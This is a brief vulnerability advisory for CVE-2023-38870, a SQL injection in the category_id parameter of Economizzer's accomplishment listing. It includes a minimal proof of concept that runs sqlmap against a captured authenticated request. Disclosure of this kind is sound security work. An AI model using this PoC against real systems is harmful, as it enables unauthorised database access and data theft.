# CVE-2023-38870: SQL Injection in gugaan's Economizzer 

A SQL injection vulnerability exists in gugoan Economizzer commit 3730880 (April 2023). The cash book has a feature to list accomplishments by category, and the `category_id` parameter is vulnerable to SQL Injection.

PoC: `sqlmap -r sqli.req`, where `sqli.req` may look like this:

```
GET /dashboard/accomplishment?category_id=1 HTTP/1.1
Host: <Host>
Cookie: _economizzerSessionId=<sessionId>;
```

Discovered by Florian Walter, July 2023.

References:

- https://nvd.nist.gov/vuln/detail/CVE-2023-38870
- https://www.cve.org/CVERecord?id=CVE-2023-38870